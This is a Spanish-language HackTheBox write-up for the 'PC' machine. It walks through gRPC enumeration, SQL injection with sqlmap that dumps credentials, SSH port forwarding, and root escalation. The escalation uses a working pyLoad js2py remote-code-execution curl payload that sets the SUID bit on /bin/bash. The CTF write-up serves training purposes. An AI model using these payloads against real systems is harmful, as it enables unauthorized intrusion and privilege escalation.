# PC – HackTheBox (Writeup)

## Enumeracion: NMAP

Comienzo el escaneo de reconocimiento habitual para identificar los puertos y servicios corriendo en el sistema objetivo.

```bash
nmap -p- -Pn -sC -sV 10.129.84.224

Nmap scan report for pc.htb (10.129.84.224)

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
50051/tcp open  unknown
```

## gRPC: 50051/tcp

Haciendo un poco de research por Google, veo que el puerto 50051 es usado por **gRPC**:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753907430835/e470c926-37dd-4ab6-b470-dfdd21dd45c1.png align="center")

> **gRPC** es un framework de código abierto desarrollado por Google que se utiliza para la comunicación entre aplicaciones distribuidas. Utiliza el Protocol Buffers (protobuf) como su lenguaje de interfaz para definir servicios y mensajes, lo que lo hace eficiente y versátil. gRPC permite a las aplicaciones comunicarse de manera rápida y confiable a través de diferentes lenguajes de programación y plataformas, lo que lo hace especialmente útil en entornos de microservicios y sistemas distribuidos.
> 
> Se basa en el protocolo HTTP/2 para la transferencia de datos y proporciona muchas características avanzadas, como autenticación, balanceo de carga y streaming.

## Utilizando grpcui para interactuar con gRPC.

Procedo a la descarga de esta tool la cual va a permitir interactuar con el servicio de gRPC. ([https://github.com/fullstorydev/grpcui](https://github.com/fullstorydev/grpcui)).

Luego de familiarizarme un poco con la tool, en la consola tipeo lo siguiente apuntando a la ip del servidor y su puerto:

```bash
grpcui -plaintext 10.129.84.224:50051
```

Instantáneamente al hacer esto se me abre un browser, como [localhost](http://localhost) en un puerto random con la siguiente interfaz:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753907455462/2e912324-f053-4d6a-829c-4b45d95c64f5.png align="center")

En esta página tenemos la posibilidad de **Registrarnos**, **Iniciar sesión** o **consultar información**. Como es costumbre, siempre que me encuentro con un LOGIN intento verificar si es posible acceder con credenciales por default y ordinarias, ya sea por una mal configuración u olvido de parte del admin.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753907470997/de201e2c-f449-4de4-9108-5b9a5e9d387b.png align="center")

Logramos acceder como **ADMIN** y obtenemos un ***JWT.***

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753907481520/0df80950-7702-4677-b678-c45b5c0c19ad.png align="center")

Luego de probar distintas cosas y fallar, intento con “**getInfo**“, cargando el token recibido. Y como el campo del token era “token” agrego este en el request metadata en NAME:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753907490504/e7d453be-26e8-4fd3-a857-c151d27f4f43.png align="center")

A continuación recibo el siguiente mensaje:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753907499654/e36858ff-9031-4548-91bf-6c4034a37827.png align="center")

Revisando la validación a través de Burpsuite tiene el siguiente formato:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753907510895/f055126e-fdf9-46f1-91dc-319265cfa164.png align="center")

# USER: Explotando campo ‘id’ con SQLMAP.

Al probar varios payloads en **“id”:** se recibe un error similar al siguiente:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753907531140/1ee60530-203f-4694-b792-15a601a201df.png align="center")

Esto me da indicio a que es vulnerable a inyecciones SQL. Guardo el request de burpsuite en un archivo.

> ### request.txt

```bash
POST /invoke/SimpleApp.getInfo HTTP/1.1
Host: 127.0.0.1:32809
Content-Length: 193
sec-ch-ua:
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/116.0.5845.141 Safari/537.36
Content-Type: application/json
Accept: */*
X-Requested-With: XMLHttpRequest
x-grpcui-csrf-token: 1XWVIWdzs4mko8Q8eDhBakGMjvXnLt7jNLE_EuZR5dU
sec-ch-ua-platform: ""
Origin: http://127.0.0.1:32809
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:32809/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: _grpcui_csrf_token=1XWVIWdzs4mko8Q8eDhBakGMjvXnLt7jNLE_EuZR5dU
Connection: close

{"metadata":[{"name":"token","value":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLC
JleHAiOjE2OTc2OTQ1OTF9.gRyb-ubEWeh4tYzpt-GrzGirraBwHm8Zyt7cArpA8EY"}],"data":[{"id":"600"}]}
```

Desde **SQLMAP** ejecuto lo siguiente:

```bash
sqlmap -r /home/user/htb/mach/pc/content/request.txt -p id -f --batch -dump-all --level 2
```

Y obtengo el siguiente resultado:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753907628544/3b564934-1ad3-4b04-b405-28dc0fe875b2.png align="center")

  

El usuario y la contraseña dumpeada:

```bash
+------------------------+----------+
| password               | username |
+------------------------+----------+
| admin                  | admin    |
| HereIsYourPassWord1431 | sau      |
+------------------------+----------+
```

Ahora conecto via **SSH** y ya puedo sacar USER.

```bash
ssh  sau@pc.htb
sau@pc:~$ ls -l
-rw-r----- 1 root sau 33 Oct 19 01:18 user.txt
```

# ROOT

Si chequeamos con **SS** para verificar qué puertos y servicios están corriendo en el sistema nos encontramos con lo siguiente:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753908604172/f85fc433-ed93-4999-a53c-f406a74bf434.png align="center")

Para poder acceder a ese puerto local desde nuestra pc atacante realizo un PortForwarding con SSH:

```bash
ssh -L 7777:127.0.0.1:8000 sau@pc.htb
```

Una vez que podemos acceder desde nuestra pc ingresamos con nuestro browser:

```bash
http://127.0.0.1:7777/
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753908835228/33ae8ac9-6846-4bb1-aa58-b225f3fa6601.png align="center")

## Explotando pyLoad.

Luego de buscar posibles exploits sobre pyLoad encuentro en este link un interesante modo de lograrlo: [https://huntr.dev/bounties/3fd606f7-83e1-4265-b083-2e1889a05e65/](https://huntr.dev/bounties/3fd606f7-83e1-4265-b083-2e1889a05e65/).

Basicamente un atacante no autenticado puede ejecutar codigo python arbitrario abusando de la funcionalidad de **JS2PY**.

### `Exploit`:

Sabiendo esto solo deberíamos realizar lo siguiente para que nuestra shell escale como root.

```bash
chmod u+s /bin/bash
```

Pero antes deberíamos URLencodearlo quedando del siguiente modo:

```bash
chmod%20u%2Bs%20%2Fbin%2Fbash
```

Finalmente el Payload final quedaría así, y lo tiramos desde la maquina victima localmente:  

```bash
curl -i -s -k -X $'POST' --data-binary $'jk=pyimport%20os;os.system(\"chmod%20u%2Bs%20%2Fbin%2Fbash\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' $'http://127.0.0.1:8000/flash/addcrypted2'
```

## PWNED!

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753909211366/42b07e77-d049-4b34-bb93-577bee25ecba.png align="center")
